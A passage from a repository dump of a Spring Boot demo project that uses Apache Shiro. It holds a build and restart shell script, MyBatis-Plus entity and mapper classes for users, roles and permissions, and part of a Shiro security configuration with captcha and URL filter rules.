<configuration>\n                    <!--<proc>none</proc>-->\n                    <source>1.8</source>\n                    <target>1.8</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>2.20</version>\n                <configuration>\n                    <skip>true</skip>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <executions>\n                </executions>\n            </plugin>\n        </plugins>\n\n        <resources>\n            <resource>\n                <directory>src/main/resources</directory>\n            </resource>\n            <resource>\n                <directory>src/main/java</directory>\n                <includes>\n                    <include>**/*.xml</include>\n                </includes>\n            </resource>\n        </resources>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/run.sh",
    "content": "#!/bin/bash\n# 项目自动更新脚本\n# 先clone相应的分支下来：\n# git clone ssh://git@120.24.173.142:7999/xxx.git\n# 远程调试启动：\n# nohup java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n\nfunction start {\n    profile=\"$1\"\n    echo \"启动环境profile=${profile}\"\n    jarfile=$(ls target/*.jar)\n    if [[ \"$?\" == \"0\" ]]; then\n        stop $profile $jarfile\n    fi\n    branch=$(git branch |awk '{print $2}')\n    git pull origin ${branch}\n    echo \"更新完代码开始重新打包\"\n    mvn clean && mvn clean && mvn package -DskipTests=true\n    if [[ \"$?\" != \"0\" ]]; then\n        echo \"编译出错，退出！\"\n        exit 1\n    fi\n    echo \"nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\"\n    nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n    echo \"启动应用中，请查看日志文件...\"\n}\n\nfunction stop {\n    profile=\"$1\"\n    jarfile=\"$2\"\n    ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep > /dev/null\n    if [[ \"$?\" == \"0\" ]]; then\n        echo \"该应用还在跑，我先停了它\"\n        pid=$(ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep |awk '{print $2}')\n        if [[ \"$pid\" != \"\" ]]; then\n            kill -9 $pid\n        fi\n        echo \"停止应用成功...\"\n    fi\n}\n\nif [[ \"$1\" == \"start\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh start {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    start \"${profile}\"\nelif [[ \"$1\" == \"stop\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh stop  {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh stop {profile}     ==> 停止应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    jarfile=$(ls target/*.jar)\n    stop $profile $jarfile\nelse\n    echo \"参数错误，使用方法：{}参数是必填的，[]参数可选\"\n    echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n    echo \"./epay.sh stop  {profile}    ==> 停止应用，{profile}取值：dev|test|show|production\"\n    exit 1\nfi\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/Application.java",
    "content": "package com.xncoding.pos;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class Application {\n    public static void main(String[] args) {\n        SpringApplication.run(Application.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/common/dao/entity/Manager.java",
    "content": "package com.xncoding.pos.common.dao.entity;\n\nimport java.util.Date;\nimport com.baomidou.mybatisplus.annotations.TableName;\nimport com.baomidou.mybatisplus.enums.IdType;\nimport com.baomidou.mybatisplus.annotations.TableId;\nimport com.baomidou.mybatisplus.activerecord.Model;\nimport java.io.Serializable;\n\n/**\n * 后台管理用户表\n *\n * @author 熊能\n * @version 1.0\n * @since 2018/01/02\n */\n@TableName(value = \"t_manager\")\npublic class Manager extends Model<Manager> {\n\nprivate static final long serialVersionUID = 1L;\n\n    /**\n     * 主键ID\n     */\n    @TableId(value=\"id\", type= IdType.AUTO)\n    private Integer id;\n    /**\n     * 账号\n     */\n    private String username;\n    /**\n     * 名字\n     */\n    private String name;\n    /**\n     * 密码\n     */\n    private String password;\n    /**\n     * md5密码盐\n     */\n    private String salt;\n    /**\n     * 联系电话\n     */\n    private String phone;\n    /**\n     * 备注\n     */\n    private String tips;\n    /**\n     * 状态 1:正常 2:禁用\n     */\n    private Integer state;\n    /**\n     * 创建时间\n     */\n    private Date createdTime;\n    /**\n     * 更新时间\n     */\n    private Date updatedTime;\n\n    /**\n     * 获取 主键ID.\n     *\n     * @return 主键ID.\n     */\n    public Integer getId() {\n        return id;\n    }\n\n    /**\n     * 设置 主键ID.\n     *\n     * @param id 主键ID.\n     */\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    /**\n     * 获取 账号.\n     *\n     * @return 账号.\n     */\n    public String getUsername() {\n        return username;\n    }\n\n    /**\n     * 设置 账号.\n     *\n     * @param username 账号.\n     */\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    /**\n     * 获取 名字.\n     *\n     * @return 名字.\n     */\n    public String getName() {\n        return name;\n    }\n\n    /**\n     * 设置 名字.\n     *\n     * @param name 名字.\n     */\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    /**\n     * 获取 密码.\n     *\n     * @return 密码.\n     */\n    public String getPassword() {\n        return password;\n    }\n\n    /**\n     * 设置 密码.\n     *\n     * @param password 密码.\n     */\n    public void setPassword(String password) {\n        this.password = password;\n    }\n\n    /**\n     * 获取 md5密码盐.\n     *\n     * @return md5密码盐.\n     */\n    public String getSalt() {\n        return salt;\n    }\n\n    /**\n     * 设置 md5密码盐.\n     *\n     * @param salt md5密码盐.\n     */\n    public void setSalt(String salt) {\n        this.salt = salt;\n    }\n\n    /**\n     * 获取 联系电话.\n     *\n     * @return 联系电话.\n     */\n    public String getPhone() {\n        return phone;\n    }\n\n    /**\n     * 设置 联系电话.\n     *\n     * @param phone 联系电话.\n     */\n    public void setPhone(String phone) {\n        this.phone = phone;\n    }\n\n    /**\n     * 获取 备注.\n     *\n     * @return 备注.\n     */\n    public String getTips() {\n        return tips;\n    }\n\n    /**\n     * 设置 备注.\n     *\n     * @param tips 备注.\n     */\n    public void setTips(String tips) {\n        this.tips = tips;\n    }\n\n    /**\n     * 获取 状态 1:正常 2:禁用.\n     *\n     * @return 状态 1:正常 2:禁用.\n     */\n    public Integer getState() {\n        return state;\n    }\n\n    /**\n     * 设置 状态 1:正常 2:禁用.\n     *\n     * @param state 状态 1:正常 2:禁用.\n     */\n    public void setState(Integer state) {\n        this.state = state;\n    }\n\n    /**\n     * 获取 创建时间.\n     *\n     * @return 创建时间.\n     */\n    public Date getCreatedTime() {\n        return createdTime;\n    }\n\n    /**\n     * 设置 创建时间.\n     *\n     * @param createdTime 创建时间.\n     */\n    public void setCreatedTime(Date createdTime) {\n        this.createdTime = createdTime;\n    }\n\n    /**\n     * 获取 更新时间.\n     *\n     * @return 更新时间.\n     */\n    public Date getUpdatedTime() {\n        return updatedTime;\n    }\n\n    /**\n     * 设置 更新时间.\n     *\n     * @param updatedTime 更新时间.\n     */\n    public void setUpdatedTime(Date updatedTime) {\n        this.updatedTime = updatedTime;\n    }\n\n    @Override\n    protected Serializable pkVal() {\n        return this.id;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/common/dao/entity/ManagerRole.java",
    "content": "package com.xncoding.pos.common.dao.entity;\n\nimport java.util.Date;\nimport com.baomidou.mybatisplus.annotations.TableName;\nimport com.baomidou.mybatisplus.enums.IdType;\nimport com.baomidou.mybatisplus.annotations.TableId;\nimport com.baomidou.mybatisplus.activerecord.Model;\nimport java.io.Serializable;\n\n/**\n * 用户角色关联表\n *\n * @author 熊能\n * @version 1.0\n * @since 2018/01/02\n */\n@TableName(value = \"t_manager_role\")\npublic class ManagerRole extends Model<ManagerRole> {\n\nprivate static final long serialVersionUID = 1L;\n\n    /**\n     * 主键ID\n     */\n    @TableId(value=\"id\", type= IdType.AUTO)\n    private Integer id;\n    /**\n     * 管理用户ID\n     */\n    private Integer managerId;\n    /**\n     * 角色ID\n     */\n    private Integer roleId;\n    /**\n     * 创建时间\n     */\n    private Date createdTime;\n    /**\n     * 更新时间\n     */\n    private Date updatedTime;\n\n    /**\n     * 获取 主键ID.\n     *\n     * @return 主键ID.\n     */\n    public Integer getId() {\n        return id;\n    }\n\n    /**\n     * 设置 主键ID.\n     *\n     * @param id 主键ID.\n     */\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    /**\n     * 获取 管理用户ID.\n     *\n     * @return 管理用户ID.\n     */\n    public Integer getManagerId() {\n        return managerId;\n    }\n\n    /**\n     * 设置 管理用户ID.\n     *\n     * @param managerId 管理用户ID.\n     */\n    public void setManagerId(Integer managerId) {\n        this.managerId = managerId;\n    }\n\n    /**\n     * 获取 角色ID.\n     *\n     * @return 角色ID.\n     */\n    public Integer getRoleId() {\n        return roleId;\n    }\n\n    /**\n     * 设置 角色ID.\n     *\n     * @param roleId 角色ID.\n     */\n    public void setRoleId(Integer roleId) {\n        this.roleId = roleId;\n    }\n\n    /**\n     * 获取 创建时间.\n     *\n     * @return 创建时间.\n     */\n    public Date getCreatedTime() {\n        return createdTime;\n    }\n\n    /**\n     * 设置 创建时间.\n     *\n     * @param createdTime 创建时间.\n     */\n    public void setCreatedTime(Date createdTime) {\n        this.createdTime = createdTime;\n    }\n\n    /**\n     * 获取 更新时间.\n     *\n     * @return 更新时间.\n     */\n    public Date getUpdatedTime() {\n        return updatedTime;\n    }\n\n    /**\n     * 设置 更新时间.\n     *\n     * @param updatedTime 更新时间.\n     */\n    public void setUpdatedTime(Date updatedTime) {\n        this.updatedTime = updatedTime;\n    }\n\n    @Override\n    protected Serializable pkVal() {\n        return this.id;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/common/dao/entity/Permission.java",
    "content": "package com.xncoding.pos.common.dao.entity;\n\nimport java.util.Date;\nimport com.baomidou.mybatisplus.annotations.TableName;\nimport com.baomidou.mybatisplus.enums.IdType;\nimport com.baomidou.mybatisplus.annotations.TableId;\nimport com.baomidou.mybatisplus.activerecord.Model;\nimport java.io.Serializable;\n\n/**\n * 权限表\n *\n * @author 熊能\n * @version 1.0\n * @since 2018/01/02\n */\n@TableName(value = \"t_permission\")\npublic class Permission extends Model<Permission> {\n\nprivate static final long serialVersionUID = 1L;\n\n    /**\n     * 主键ID\n     */\n    @TableId(value=\"id\", type= IdType.AUTO)\n    private Integer id;\n    /**\n     * 权限名称\n     */\n    private String permission;\n    /**\n     * 权限说明\n     */\n    private String description;\n    /**\n     * 创建时间\n     */\n    private Date createdTime;\n    /**\n     * 更新时间\n     */\n    private Date updatedTime;\n\n    /**\n     * 获取 主键ID.\n     *\n     * @return 主键ID.\n     */\n    public Integer getId() {\n        return id;\n    }\n\n    /**\n     * 设置 主键ID.\n     *\n     * @param id 主键ID.\n     */\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    /**\n     * 获取 权限名称.\n     *\n     * @return 权限名称.\n     */\n    public String getPermission() {\n        return permission;\n    }\n\n    /**\n     * 设置 权限名称.\n     *\n     * @param permission 权限名称.\n     */\n    public void setPermission(String permission) {\n        this.permission = permission;\n    }\n\n    /**\n     * 获取 权限说明.\n     *\n     * @return 权限说明.\n     */\n    public String getDescription() {\n        return description;\n    }\n\n    /**\n     * 设置 权限说明.\n     *\n     * @param description 权限说明.\n     */\n    public void setDescription(String description) {\n        this.description = description;\n    }\n\n    /**\n     * 获取 创建时间.\n     *\n     * @return 创建时间.\n     */\n    public Date getCreatedTime() {\n        return createdTime;\n    }\n\n    /**\n     * 设置 创建时间.\n     *\n     * @param createdTime 创建时间.\n     */\n    public void setCreatedTime(Date createdTime) {\n        this.createdTime = createdTime;\n    }\n\n    /**\n     * 获取 更新时间.\n     *\n     * @return 更新时间.\n     */\n    public Date getUpdatedTime() {\n        return updatedTime;\n    }\n\n    /**\n     * 设置 更新时间.\n     *\n     * @param updatedTime 更新时间.\n     */\n    public void setUpdatedTime(Date updatedTime) {\n        this.updatedTime = updatedTime;\n    }\n\n    @Override\n    protected Serializable pkVal() {\n        return this.id;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/common/dao/entity/Role.java",
    "content": "package com.xncoding.pos.common.dao.entity;\n\nimport java.util.Date;\nimport com.baomidou.mybatisplus.annotations.TableName;\nimport com.baomidou.mybatisplus.enums.IdType;\nimport com.baomidou.mybatisplus.annotations.TableId;\nimport com.baomidou.mybatisplus.activerecord.Model;\nimport java.io.Serializable;\n\n/**\n * 角色表\n *\n * @author 熊能\n * @version 1.0\n * @since 2018/01/02\n */\n@TableName(value = \"t_role\")\npublic class Role extends Model<Role> {\n\nprivate static final long serialVersionUID = 1L;\n\n    /**\n     * 主键ID\n     */\n    @TableId(value=\"id\", type= IdType.AUTO)\n    private Integer id;\n    /**\n     * 角色名称\n     */\n    private String role;\n    /**\n     * 角色说明\n     */\n    private String description;\n    /**\n     * 创建时间\n     */\n    private Date createdTime;\n    /**\n     * 更新时间\n     */\n    private Date updatedTime;\n\n    /**\n     * 获取 主键ID.\n     *\n     * @return 主键ID.\n     */\n    public Integer getId() {\n        return id;\n    }\n\n    /**\n     * 设置 主键ID.\n     *\n     * @param id 主键ID.\n     */\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    /**\n     * 获取 角色名称.\n     *\n     * @return 角色名称.\n     */\n    public String getRole() {\n        return role;\n    }\n\n    /**\n     * 设置 角色名称.\n     *\n     * @param role 角色名称.\n     */\n    public void setRole(String role) {\n        this.role = role;\n    }\n\n    /**\n     * 获取 角色说明.\n     *\n     * @return 角色说明.\n     */\n    public String getDescription() {\n        return description;\n    }\n\n    /**\n     * 设置 角色说明.\n     *\n     * @param description 角色说明.\n     */\n    public void setDescription(String description) {\n        this.description = description;\n    }\n\n    /**\n     * 获取 创建时间.\n     *\n     * @return 创建时间.\n     */\n    public Date getCreatedTime() {\n        return createdTime;\n    }\n\n    /**\n     * 设置 创建时间.\n     *\n     * @param createdTime 创建时间.\n     */\n    public void setCreatedTime(Date createdTime) {\n        this.createdTime = createdTime;\n    }\n\n    /**\n     * 获取 更新时间.\n     *\n     * @return 更新时间.\n     */\n    public Date getUpdatedTime() {\n        return updatedTime;\n    }\n\n    /**\n     * 设置 更新时间.\n     *\n     * @param updatedTime 更新时间.\n     */\n    public void setUpdatedTime(Date updatedTime) {\n        this.updatedTime = updatedTime;\n    }\n\n    @Override\n    protected Serializable pkVal() {\n        return this.id;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/common/dao/entity/RolePermission.java",
    "content": "package com.xncoding.pos.common.dao.entity;\n\nimport java.util.Date;\nimport com.baomidou.mybatisplus.annotations.TableName;\nimport com.baomidou.mybatisplus.enums.IdType;\nimport com.baomidou.mybatisplus.annotations.TableId;\nimport com.baomidou.mybatisplus.activerecord.Model;\nimport java.io.Serializable;\n\n/**\n * 角色权限关联表\n *\n * @author 熊能\n * @version 1.0\n * @since 2018/01/02\n */\n@TableName(value = \"t_role_permission\")\npublic class RolePermission extends Model<RolePermission> {\n\nprivate static final long serialVersionUID = 1L;\n\n    /**\n     * 主键ID\n     */\n    @TableId(value=\"id\", type= IdType.AUTO)\n    private Integer id;\n    /**\n     * 角色ID\n     */\n    private Integer roleId;\n    /**\n     * 权限ID\n     */\n    private Integer permissionId;\n    /**\n     * 创建时间\n     */\n    private Date createdTime;\n    /**\n     * 更新时间\n     */\n    private Date updatedTime;\n\n    /**\n     * 获取 主键ID.\n     *\n     * @return 主键ID.\n     */\n    public Integer getId() {\n        return id;\n    }\n\n    /**\n     * 设置 主键ID.\n     *\n     * @param id 主键ID.\n     */\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    /**\n     * 获取 角色ID.\n     *\n     * @return 角色ID.\n     */\n    public Integer getRoleId() {\n        return roleId;\n    }\n\n    /**\n     * 设置 角色ID.\n     *\n     * @param roleId 角色ID.\n     */\n    public void setRoleId(Integer roleId) {\n        this.roleId = roleId;\n    }\n\n    /**\n     * 获取 权限ID.\n     *\n     * @return 权限ID.\n     */\n    public Integer getPermissionId() {\n        return permissionId;\n    }\n\n    /**\n     * 设置 权限ID.\n     *\n     * @param permissionId 权限ID.\n     */\n    public void setPermissionId(Integer permissionId) {\n        this.permissionId = permissionId;\n    }\n\n    /**\n     * 获取 创建时间.\n     *\n     * @return 创建时间.\n     */\n    public Date getCreatedTime() {\n        return createdTime;\n    }\n\n    /**\n     * 设置 创建时间.\n     *\n     * @param createdTime 创建时间.\n     */\n    public void setCreatedTime(Date createdTime) {\n        this.createdTime = createdTime;\n    }\n\n    /**\n     * 获取 更新时间.\n     *\n     * @return 更新时间.\n     */\n    public Date getUpdatedTime() {\n        return updatedTime;\n    }\n\n    /**\n     * 设置 更新时间.\n     *\n     * @param updatedTime 更新时间.\n     */\n    public void setUpdatedTime(Date updatedTime) {\n        this.updatedTime = updatedTime;\n    }\n\n    @Override\n    protected Serializable pkVal() {\n        return this.id;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/common/dao/repository/ManagerMapper.java",
    "content": "package com.xncoding.pos.common.dao.repository;\n\nimport com.xncoding.pos.common.dao.entity.Manager;\nimport com.baomidou.mybatisplus.mapper.BaseMapper;\n\n/**\n * 后台管理用户表 Mapper\n *\n * @author 熊能\n * @version 1.0\n * @since 2018/01/02\n */\npublic interface ManagerMapper extends BaseMapper<Manager> {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/common/dao/repository/ManagerRoleMapper.java",
    "content": "package com.xncoding.pos.common.dao.repository;\n\nimport com.xncoding.pos.common.dao.entity.ManagerRole;\nimport com.baomidou.mybatisplus.mapper.BaseMapper;\n\n/**\n * 用户角色关联表 Mapper\n *\n * @author 熊能\n * @version 1.0\n * @since 2018/01/02\n */\npublic interface ManagerRoleMapper extends BaseMapper<ManagerRole> {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/common/dao/repository/PermissionMapper.java",
    "content": "package com.xncoding.pos.common.dao.repository;\n\nimport com.xncoding.pos.common.dao.entity.Permission;\nimport com.baomidou.mybatisplus.mapper.BaseMapper;\n\n/**\n * 权限表 Mapper\n *\n * @author 熊能\n * @version 1.0\n * @since 2018/01/02\n */\npublic interface PermissionMapper extends BaseMapper<Permission> {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/common/dao/repository/RoleMapper.java",
    "content": "package com.xncoding.pos.common.dao.repository;\n\nimport com.xncoding.pos.common.dao.entity.Role;\nimport com.baomidou.mybatisplus.mapper.BaseMapper;\n\n/**\n * 角色表 Mapper\n *\n * @author 熊能\n * @version 1.0\n * @since 2018/01/02\n */\npublic interface RoleMapper extends BaseMapper<Role> {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/common/dao/repository/RolePermissionMapper.java",
    "content": "package com.xncoding.pos.common.dao.repository;\n\nimport com.xncoding.pos.common.dao.entity.RolePermission;\nimport com.baomidou.mybatisplus.mapper.BaseMapper;\n\n/**\n * 角色权限关联表 Mapper\n *\n * @author 熊能\n * @version 1.0\n * @since 2018/01/02\n */\npublic interface RolePermissionMapper extends BaseMapper<RolePermission> {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/config/MybatisPlusConfig.java",
    "content": "package com.xncoding.pos.config;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.baomidou.mybatisplus.plugins.PaginationInterceptor;\nimport com.xncoding.pos.config.properties.DruidProperties;\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.transaction.annotation.EnableTransactionManagement;\n\nimport javax.annotation.Resource;\n\n/**\n * MybatisPlus配置\n *\n * @author xiongneng\n * @since 2017/5/20 21:58\n */\n@Configuration\n@EnableTransactionManagement(order = 2)\n@MapperScan(basePackages = {\n        \"com.xncoding.pos.common.dao.repository\",\n        \"com.xncoding.pos.dao.repository\"})\npublic class MybatisPlusConfig {\n\n    @Resource\n    private DruidProperties druidProperties;\n\n    /**\n     * 单数据源连接池配置\n     */\n    @Bean\n    public DruidDataSource singleDatasource() {\n        DruidDataSource dataSource = new DruidDataSource();\n        druidProperties.config(dataSource);\n        return dataSource;\n    }\n\n    /**\n     * mybatis-plus分页插件\n     */\n    @Bean\n    public PaginationInterceptor paginationInterceptor() {\n        return new PaginationInterceptor();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/java/com/xncoding/pos/config/ShiroConfig.java",
    "content": "package com.xncoding.pos.config;\n\nimport at.pollux.thymeleaf.shiro.dialect.ShiroDialect;\nimport com.google.code.kaptcha.Constants;\nimport com.google.code.kaptcha.servlet.KaptchaServlet;\nimport com.xncoding.pos.shiro.KaptchaFilter;\nimport com.xncoding.pos.shiro.MyExceptionResolver;\nimport com.xncoding.pos.shiro.MyShiroRealm;\nimport org.apache.shiro.authc.credential.HashedCredentialsMatcher;\nimport org.apache.shiro.cache.ehcache.EhCacheManager;\nimport org.apache.shiro.mgt.SecurityManager;\nimport org.apache.shiro.session.mgt.ExecutorServiceSessionValidationScheduler;\nimport org.apache.shiro.spring.security.interceptor.AuthorizationAttributeSourceAdvisor;\nimport org.apache.shiro.spring.web.ShiroFilterFactoryBean;\nimport org.apache.shiro.web.mgt.CookieRememberMeManager;\nimport org.apache.shiro.web.mgt.DefaultWebSecurityManager;\nimport org.apache.shiro.web.servlet.SimpleCookie;\nimport org.apache.shiro.web.session.mgt.DefaultWebSessionManager;\nimport org.springframework.boot.web.servlet.ServletRegistrationBean;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.core.annotation.Order;\n\nimport javax.servlet.Filter;\nimport java.util.LinkedHashMap;\nimport java.util.Map;\n\n/**\n * Description  : Apache Shiro 核心通过 Filter 来实现，就好像SpringMvc 通过DispachServlet 来主控制一样。\n * 既然是使用 Filter 一般也就能猜到，是通过URL规则来进行过滤和权限校验，所以我们需要定义一系列关于URL的规则和访问权限。\n */\n\n@Configuration\n@Order(1)\npublic class ShiroConfig {\n\n    //配置kaptcha图片验证码框架提供的Servlet,,这是个坑,很多人忘记注册(注意)\n    @Bean\n    public ServletRegistrationBean kaptchaServlet() {\n        ServletRegistrationBean servlet = new ServletRegistrationBean(new KaptchaServlet(), \"/kaptcha.jpg\");\n        servlet.addInitParameter(Constants.KAPTCHA_SESSION_CONFIG_KEY, Constants.KAPTCHA_SESSION_KEY);//session key\n        servlet.addInitParameter(Constants.KAPTCHA_TEXTPRODUCER_FONT_SIZE, \"50\");//字体大小\n        servlet.addInitParameter(Constants.KAPTCHA_BORDER, \"no\");\n        servlet.addInitParameter(Constants.KAPTCHA_BORDER_COLOR, \"105,179,90\");\n        servlet.addInitParameter(Constants.KAPTCHA_TEXTPRODUCER_FONT_SIZE, \"45\");\n        servlet.addInitParameter(Constants.KAPTCHA_TEXTPRODUCER_CHAR_LENGTH, \"4\");\n        servlet.addInitParameter(Constants.KAPTCHA_TEXTPRODUCER_FONT_NAMES, \"宋体,楷体,微软雅黑\");\n        servlet.addInitParameter(Constants.KAPTCHA_TEXTPRODUCER_FONT_COLOR, \"blue\");\n        servlet.addInitParameter(Constants.KAPTCHA_IMAGE_WIDTH, \"125\");\n        servlet.addInitParameter(Constants.KAPTCHA_IMAGE_HEIGHT, \"60\");\n        //可以设置很多属性,具体看com.google.code.kaptcha.Constants\n//\t\tkaptcha.border  是否有边框  默认为true  我们可以自己设置yes，no\n//\t\tkaptcha.border.color   边框颜色   默认为Color.BLACK\n//\t\tkaptcha.border.thickness  边框粗细度  默认为1\n//\t\tkaptcha.producer.impl   验证码生成器  默认为DefaultKaptcha\n//\t\tkaptcha.textproducer.impl   验证码文本生成器  默认为DefaultTextCreator\n//\t\tkaptcha.textproducer.char.string   验证码文本字符内容范围  默认为abcde2345678gfynmnpwx\n//\t\tkaptcha.textproducer.char.length   验证码文本字符长度  默认为5\n//\t\tkaptcha.textproducer.font.names    验证码文本字体样式  默认为new Font(\"Arial\", 1, fontSize), new Font(\"Courier\", 1, fontSize)\n//\t\tkaptcha.textproducer.font.size   验证码文本字符大小  默认为40\n//\t\tkaptcha.textproducer.font.color  验证码文本字符颜色  默认为Color.BLACK\n//\t\tkaptcha.textproducer.char.space  验证码文本字符间距  默认为2\n//\t\tkaptcha.noise.impl    验证码噪点生成对象  默认为DefaultNoise\n//\t\tkaptcha.noise.color   验证码噪点颜色   默认为Color.BLACK\n//\t\tkaptcha.obscurificator.impl   验证码样式引擎  默认为WaterRipple\n//\t\tkaptcha.word.impl   验证码文本字符渲染   默认为DefaultWordRenderer\n//\t\tkaptcha.background.impl   验证码背景生成器   默认为DefaultBackground\n//\t\tkaptcha.background.clear.from   验证码背景颜色渐进   默认为Color.LIGHT_GRAY\n//\t\tkaptcha.background.clear.to   验证码背景颜色渐进   默认为Color.WHITE\n//\t\tkaptcha.image.width   验证码图片宽度  默认为200\n//\t\tkaptcha.image.height  验证码图片高度  默认为50\n        return servlet;\n    }\n\n    //注入异常处理类\n    @Bean\n    public MyExceptionResolver myExceptionResolver() {\n        return new MyExceptionResolver();\n    }\n\n    /**\n     * ShiroFilterFactoryBean 处理拦截资源文件问题。\n     * 注意：单独一个ShiroFilterFactoryBean配置是或报错的，以为在\n     * 初始化ShiroFilterFactoryBean的时候需要注入：SecurityManager Filter Chain定义说明\n     * 1、一个URL可以配置多个Filter，使用逗号分隔\n     * 2、当设置多个过滤器时，全部验证通过，才视为通过\n     * 3、部分过滤器可指定参数，如perms，roles\n     */\n    @Bean\n    public ShiroFilterFactoryBean shirFilter(SecurityManager securityManager) {\n\n        ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();\n        // 必须设置 SecurityManager\n        shiroFilterFactoryBean.setSecurityManager(securityManager);\n        //验证码过滤器\n        Map<String, Filter> filtersMap = shiroFilterFactoryBean.getFilters();\n        KaptchaFilter kaptchaFilter = new KaptchaFilter();\n        filtersMap.put(\"kaptchaFilter\", kaptchaFilter);\n        //实现自己规则roles,这是为了实现or的效果\n        //RoleFilter roleFilter = new RoleFilter();\n        //filtersMap.put(\"roles\", roleFilter);\n        shiroFilterFactoryBean.setFilters(filtersMap);\n        // 拦截器\n        //rest：比如/admins/user/**=rest[user],根据请求的方法，相当于/admins/user/**=perms[user：method] ,其中method为post，get，delete等。\n        //port：比如/admins/user/**=port[8081],当请求的url的端口不是8081是跳转到schemal：//serverName：8081?queryString,其中schmal是协议http或https等，serverName是你访问的host,8081是url配置里port的端口，queryString是你访问的url里的？后面的参数。\n        //perms：比如/admins/user/**=perms[user：add：*],perms参数可以写多个，多个时必须加上引号，并且参数之间用逗号分割，比如/admins/user/**=perms[\"user：add：*,user：modify：*\"]，当有多个参数时必须每个参数都通过才通过，想当于isPermitedAll()方法。\n        //roles：比如/admins/user/**=roles[admin],参数可以写多个，多个时必须加上引号，并且参数之间用逗号分割，当有多个参数时，比如/admins/user/**=roles[\"admin,guest\"],每个参数通过才算通过，相当于hasAllRoles()方法。//要实现or的效果看http://zgzty.blog.163.com/blog/static/83831226201302983358670/\n        //anon：比如/admins/**=anon 没有参数，表示可以匿名使用。\n        //authc：比如/admins/user/**=authc表示需要认证才能使用，没有参数\n        //authcBasic：比如/admins/user/**=authcBasic没有参数表示httpBasic认证\n        //ssl：比如/admins/user/**=ssl没有参数，表示安全的url请求，协议为https\n        //user：比如/admins/user/**=user没有参数表示必须存在用户，当登入操作时不做检查\n        Map<String, String> filterChainDefinitionMap = new LinkedHashMap<String, String>();\n        // 配置退出过滤器,其中的具体的退出代码Shiro已经替我们实现了\n        filterChainDefinitionMap.put(\"/logout\", \"logout\");\n        //配置记住我或认证通过可以访问的地址\n        filterChainDefinitionMap.put(\"/index\", \"user\");\n        filterChainDefinitionMap.put(\"/\", \"user\");\n        filterChainDefinitionMap.put(\"/login\", \"kaptchaFilter\");\n        // <!-- 过滤链定义，从上向下顺序执行，一般将 /**放在最为下边 -->:这是一个坑呢，一不小心代码就不好使了;\n        //这段是配合 actuator框架使用的，配置相应的角色才能访问\n        // filterChainDefinitionMap.put(\"/health\", \"roles[aix]\");//服务器健康状况页面\n        // 